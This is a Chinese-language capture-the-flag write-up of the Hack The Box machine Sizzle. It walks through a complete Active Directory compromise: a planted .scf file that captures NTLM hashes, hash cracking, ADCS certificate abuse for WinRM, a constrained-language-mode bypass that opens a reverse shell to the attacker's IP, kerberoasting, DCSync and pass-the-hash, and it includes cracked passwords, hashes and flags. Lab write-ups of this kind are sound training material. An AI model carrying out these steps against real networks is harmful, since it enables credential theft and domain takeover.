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[Meachines] [Insane] Sizzle AD域+DC控制器+.scf窃取NTLM+ADCS证书注册Web服务+PSByPassCLM受限Bypass+DCSync权限提升
maptnh 2024-10-02 16:44:30 48629
所属地 海外

信息收集

IP AddressOpening Ports
10.10.10.103TCP:21, 53, 80, 135, 139, 443, 445, 464, 593, 636, 3268, 3269, 5985, 5986, 9389, 47001

$ nmap -p- 10.10.10.103 --min-rate 1000 -sC -sV -Pn

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_  SYST: Windows_NT
53/tcp    open  domain?
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|_    bind
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp   open  ssl/http      Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
|_ssl-date: 2019-01-15T01:53:09+00:00; -7m35s from scanner time.
| tls-alpn:
|   h2
|_  http/1.1
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
|_ssl-date: 2019-01-15T01:53:11+00:00; -7m34s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
|_ssl-date: 2019-01-15T01:53:10+00:00; -7m34s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
|_ssl-date: 2019-01-15T01:53:10+00:00; -7m34s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername:<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2018-07-02T20:26:23
|_Not valid after:  2019-07-02T20:26:23
|_ssl-date: 2019-01-15T01:53:10+00:00; -7m35s from scanner time.
| tls-alpn:
|   h2
|_  http/1.1
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.70%I=7%D=1/14%Time=5C3D3E4D%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: SIZZLE; OS: Windows; CPE: cpe:/o:microsoft:windows

SMB && .scf

如果使用smbmap会报错

image-1.png

$ smbclient -N -L \\\\10.10.10.103

image.png

获取允许访问的目录

$ smbclient -N -L \\\\10.10.10.103 | grep Disk | sed 's/^\s*\(.*\)\s*Disk.*/\1/' | while read share; do echo "======${share}======"; smbclient -N "//10.10.10.103/${share}" -c dir; echo; done

image-2.png

# mkdir -p /mnt/10.10.10.103

# mount -t cifs "//10.10.10.103/Department Shares" /mnt/10.10.10.103

image-3.png

找到了一些用户

Public amanda amanda_adm bill bob chris henry joe jose lkys37en morgan mrb3n

scf get NetNTLMv2

在public目录创建1.scf

[Shell]
Command=2

IconFile=\\10.10.16.12\icon

$ sudo responder -I tun0

image-4.png

amanda::HTB:d3f7c7ba82bc852e:5303E82C9CC3D2753D1223C5C2A7208F:0101000000000000001630CD5311DB016FCA8DB03406550300000000020008004E0037004800560001001E00570049004E002D00580031004A00310047003300470048004C0038004E0004003400570049004E002D00580031004A00310047003300470048004C0038004E002E004E003700480056002E004C004F00430041004C00030014004E003700480056002E004C004F00430041004C00050014004E003700480056002E004C004F00430041004C0007000800001630CD5311DB0106000400020000000800300030000000000000000100000000200000AA6C757924875383D823CFA4AAE98627AFED9C1B8258F7B1597CADE1C5EAC1E80A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E0031003200000000000000000000000000 

$ hashcat -m 5600 -a 0 hash /usr/share/wordlists/rockyou.txt --force

image-5.png

AMANDA::HTB:ee1fd9c7201c2a31:f4fd2428ab3107d72e46472a28add345:0101000000000000c0653150de09d2017b51a16fdf651c2d000000000200080053004d004200330001001e00570049004e002d00500052004800340039003200520051004100460056000400140053004d00420033002e006c006f00630061006c0003003400570049004e002d00500052004800340039003200520051004100460056002e0053004d00420033002e006c006f00630061006c000500140053004d00420033002e006c006f00630061006c0007000800c0653150de09d20106000400020000000800300030000000000000000100000000200000aacd5acb75c0e2b759dd79265572393ca79cf1ad76837fdd836686e2dc5f78bd0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0031003500000000000000000000000000:Ashare1972

$ smbmap -H 10.10.10.103 -u amanda -p Ashare1972

image-6.png

Active Directory Certificate Services 中的证书注册Web服务"

https://10.10.10.103/certsrv/

username:amanda password:Ashare1972

image-8.png

$ openssl genrsa -des3 -out amanda.key 2048
$ openssl req -new -key amanda.key -out amanda.csr

$ cat amanda.csr

-----BEGIN CERTIFICATE REQUEST-----
MIICszCCAZsCAQAwbjELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUx
ITAfBgNVBAoMGEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDEMMAoGA1UEAwwDQUFB
MRkwFwYJKoZIhvcNAQkBFgpBQUFAQUEuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAl3/frmJNJFer1PdHEqWQkFqgf+nq1DnMbe2NhC8Tnhp7qef0
xxiZ4qLKplHFjt16KDcEz/JQZfiF51i6qKfv08kP/cDiE7OXCvVBAYUPp3paOe27
2ePUD22iF2FDfNApfiP3Rr6uKVLIfWgavvKXB756ReItvUCLuMt6Mi6MKrcqhpkf
tBms/lRiEKLtpbYAfGDNmjAbYScINCGPXgfBhQJ+5hZFf8GZ2AflR5VnodbRB79G
P1jLNo+PpGt9UFP8APrw8awCiA9ju56a1L156ndZ8V08rWOq2y0AhZo1Lm8YUIsV
cnU8XfukWlmJQ35W6lWNJnCzAjT4F3MTZ5iKlwIDAQABoAAwDQYJKoZIhvcNAQEL
BQADggEBAAfxREwy7enfWUWDXyljbkR60XFcLW91EXuxB5/taD3/k/qUKCqT2bqp
PdHx/GQxaTon5sxNWwH4uB+dISlUHYGZ03powG0oFjTSnql7/Kv1iec8pAu0pyil
5uVjt38PVfwOcuSb03IwP1urQ+GzyD68EDLdgOFL9nn6EXaCvfhalWNlLzjAPPV9
XBxOQxX3nxxrZX7yeHeEupQZYYD5Huni70aQU/V/5OuVjOZWyhwc4WW0cNm0exPY
RzyLJoBtueX3bKNgVgFo51qF/ziN+hy+pSEsit2sR/TO7Z7RrqqD0cOi2b+JKqk4
ApaUxTN5NVXAqJg+mx0V19rHcSyhuzE=
-----END CERTIFICATE REQUEST-----

image-9.png

https://10.10.10.103/certsrv/certrqxt.asp

image-11.png

下载base64编码版的

image-12.png

$ cp amanda.cer amanda.crt

https://raw.githubusercontent.com/Alamot/code-snippets/master/winrm/winrm_shell.rb

image-19.png

$ ruby winrm-shell.rb

image-13.png

PSByPassCLM Bypass

https://github.com/padovah4ck/PSByPassCLM

PS htb\amanda@SIZZLE Documents> $executioncontext.sessionstate.languagemode

这个结果意味着 PowerShell 运行在受限语言模式下,限制了某些功能以提高安全性。

image-14.png

PS htb\amanda@SIZZLE Documents> copy //10.10.16.12/share/PsBypassCLM.exe ./

PS htb\amanda@SIZZLE Documents> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U /revshell=true /rhost=10.10.16.12 /rport=10017 \users\amanda\Documents\PsBypassCLM.exe

image-15.png

amanda –> mrlky

PS C:\Users\amanda\Documents> netstat -ano

image-17.png

https://github.com/GhostPack/Rubeus

PS C:\windows\temp> copy //10.10.16.12/share/Rubeus.exe ./

PS C:\windows\temp> .\Rubeus.exe kerberoast /creduser:htb.local\amanda /credpassword:Ashare1972

image-18.png

$krb5tgs$23$*mrlky$HTB.LOCAL$http/sizzle@HTB.LOCAL*$1DD276F5FB0297F4BB3A69DCE2EA94A3$3BE6F93528230B53E00CAEF4ED763ACD399159A2F56F5C0EC0C301088F74CECD9B1FBA96E10423C1210555A27CAEA15F0BF590E79B149500AD3E3233514BD4E4654B8473BF4E99FCF24933967A2A3FA0C62A97EA2FE672D714B8AC9A68429D7F308AE6ACFA93A1307B262F526FEF2E25E9569F9FAD9F034D674FD7949263DD7DBF31D189275CCF0DE6202FA3B6A35C280F4E2572DF7497B75CAD32D0291E637DDD10BF5506D1E766EF01A1021487DE75218FB5B23CE6FA762DC7794763A02F5C0CF7132A7D2FBA2C4AB415ECA9E836075445B067CD852725F2C6294666C0EF2C3E361D028D2D73FD993B6C89175D9F6ADAE0D367A5E80F86E03864350788B1DCBFDF3DF593B159346DEBD2EDC594BA232B7A6D7EC190D273E05D3018DA482068964F871469E028763FC40E937855F897349E29D0DA3AEB3E88CE5429F53BCA5F63CFB2DC25F050C2AB63BA947DA617C4014A837BBE6A5FDFC8504FC089CAEB321C8FE219540FB3DA66460D61098FBEFE0B86EE650B29C2C5CCFC13A9BF1D3508846942B8A1D187A1C861AF3303BE7C719B3423464CACAABC30AAAFD605618B68440D25F2427CF7CAD854F658EDCDF33E18F5C9C7B6166DC9E5DA6884B9B5A810D1CFA7B7BE5F8BCFA9E9F125B4375F7962871BF02E8BC281AF9D68324DFE4DE02375C67E0FC343E76202B5BA00F6FD6F1BEC8EDBE685DF26C14A3D9D2E0824A14C37F8BAA0A33F70893A63EC2ECAB55D559FF42355F415623E5ABAA34847E57499D296D69FF0AFFBE15141B42DD1817B5D0B437597A735A8B6A10B98417A1D9144D68D48B81F8BDCA89D0F4739B25629EBAE0EBAD35276C2E64D293067DF9F6434FEB1E31CB6675AE22F5D952D38FD07550FB54FD7B601977E4AA16A964714807D38B9FCFD3A88126C3B3029A812B577210B47A605BB17394F51DAEFD00D60304768ABD8ED1F1936251116C93CD2514FFCA03628B9F866E94A08EC6CECEF573EED39FE161C8354891E12CC195E1B02E731C3B03E58E2C4FBD72F6371E2915033D56B885C46065122B41BF9F4DB25A17AF64F0AC62F20E68625D8B39024AFF24EFE8B54EDDC5BA336DC84C4A2FFE11CC7DBB863D76791DCEDD2811AA6048E4C0B94B2D30BF1BB5FA2163CB76285A841BB08E6ED9CE740D12C9F35877969FA8DF6D27C08EC26E5B4E7D6F2AEC9E82DF347D180380425DCBD6781E8EAC8F3AC3CFE54C18A972C893C1893EFBDFDEE49465F72C7ED78C71E1217104D214C2E92B0CBC40DB06FBB7DE6BC80BA2839E5F0C431D4152AB4C2A02E538935FD08B5D304FC8D84E722F66644BD0659F99FAF78CEEDCA443132CCF9B792AEF02B473B4D7A6AB9E945585BB

$ hashcat -m 13100 -a 0 tgt /usr/share/wordlists/rockyou.txt --force

Football#7

同样方法创建mrlky的证书

输入mrlky用户密码

image-20.png

$ openssl genrsa -des3 -out mrlky.key 2048
$ openssl req -new -key mrlky.key -out mrlky.csr

$ cat mrlky.csr

image-21.png

$ cp mrlky.cer mrlky.crt

$ ruby winrm-shell_mrlky.rb

image-22.png

User.txt

142f5652463ac38124e3adf5a1b5f402

Privilege Escalation - DCSync

$ impacket-secretsdump -just-dc mrlky:Football#7@10.10.10.103

image-25.png

$ impacket-psexec administrator@10.10.10.103 -hashes 336d863559a3f7e69371a85ad959a675:f6b7160bfc91823792e0ac3a162c9267

image-26.png

Root.txt

07b28721aa122e7bfcd54ab1dc06c57a

# web安全 # CTF
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
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maptnh LV.9
Ценность жизни выше, чем кража данных.
  • 344 文章数
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[CISSP] [7] PKI和密码应用
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